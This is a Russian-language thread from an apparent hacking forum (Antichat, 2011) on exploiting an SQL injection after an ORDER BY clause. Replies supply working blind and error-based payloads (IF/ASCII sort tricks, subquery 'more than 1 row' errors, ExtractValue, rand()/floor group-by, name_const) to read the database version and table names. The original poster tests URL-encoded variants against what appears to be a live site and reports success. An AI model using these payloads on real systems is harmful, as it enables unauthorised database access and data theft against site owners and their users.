ORDER BY ID $SQL Инъекция

Discussion in 'Песочница' started by randman, 2 May 2011.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Как можно раскрутить инъекцию при таком запросе? Работал с разными случиями, но такого не встречал.
    PHP:
    SELECT FROM news ORDER BY ID $SQL
    Известна структура таблицы. Все поля кроме ID - tinytext, и ещё одно INT, но оно у всех одинаковое.
     
    #1 randman, 2 May 2011
    Last edited: 2 May 2011
  2. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    366
    Likes Received:
    115
    Reputations:
    23
    может я не до конца понил, не пробывал, чисто первое что пришло на ум:
    Code:
     SELECT * FROM news ORDER BY ID, IF(ASCII(VERSION())>32,1,2) 
    соответсвенно выдача по идее должна быть разная, если ascii(version())>32, то сортировка по 1-му полю, если нет то по второму.
    P.S. возможно это бред, пишу в состоянии опьянения, близко к сердцу не воспринимать
     
  3. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,022
    Likes Received:
    524
    Reputations:
    935
    Если вывод ошибки есть, то можно вполне крутить как еррор бейсед, если вывода нет то как слепую.

    Вот примеры с рдота:
    Code:
    Инъекция после order by
    
    Слепая (more than 1 row)
    script.php?par=(select if(substring(version(),1,1)=4,1,(select 1 union select 2)))
    
    В ошибке 
    (ExtractValue)
    script.php?par=id,ExtractValue(1,concat(0x5c,(sele ct table_name from information_schema.tables limit 1)))-- 
    (rand)
    script.php?par=(select 1 from (select count(0),concat((select version()),floor(rand(0)*2)) from information_schema.tables group by 2 limit 1)a)-- 
    (name_const)
    script.php?par=(select*from(select name_const(version(),1),name_const(version(),1))a)
     
    _________________________
  4. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Если бы был вывод ошибки я б и сам разобрался. Тут нет.
    Вывод есть в любом случае и так:
    PHP:
    ,%20IF%28ASCII%28VERSION%28%29%29%3E32,1,2%29
    И так:
    PHP:
    ,%20IF%28ASCII%28VERSION%28%29%29%3E100000,1,2%29
    И так:
    PHP:
    ,%20IF%28ASCII%28VERSION%28%29%29%3E1,1,2%29
    Что предпринимать, не знаю.
    PHP:
    ,%28select%20if%28substring%28version%28%29,1,1%29=4,1,%28select%201%20union%20select%202%29%29%29
    Этот вариант вроде работает, когда 4 изменяю на 5 - выводит информацию. буду крутить, спасибо.
     
    #4 randman, 2 May 2011
    Last edited: 2 May 2011